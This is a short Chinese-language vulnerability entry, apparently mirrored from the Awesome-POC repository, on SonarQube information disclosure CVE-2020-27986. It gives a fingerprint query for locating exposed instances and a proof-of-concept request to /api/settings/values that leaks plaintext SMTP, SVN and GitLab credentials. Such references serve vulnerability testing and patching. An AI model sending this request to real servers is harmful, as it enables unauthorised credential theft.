admin/Awesome-POC
1
0
Fork 0
mirror of https://github.com/Threekiii/Awesome-POC.git synced 2025-11-07 11:58:05 +00:00
Code Issues Packages Projects Releases Wiki Activity
Awesome-POC/Web应用漏洞/SonarQube values 信息泄露漏洞 CVE-2020-27986.md
Threekiii 11de4c1d47 update
2024-11-06 14:10:36 +08:00

516 B
Raw Blame History

SonarQube values 信息泄露漏洞 CVE-2020-27986

漏洞描述

SonarQube 某接口存在信息泄露漏洞，可以获取部分敏感信息

漏洞影响

SonarQube

网络测绘

app="sonarQube-代码管理"

漏洞复现

主页如下

漏洞POC

http://xxx.xxx.xxx.xxx/api/settings/values

可泄露的为：明文SMTP、SVN和Gitlab等敏感信息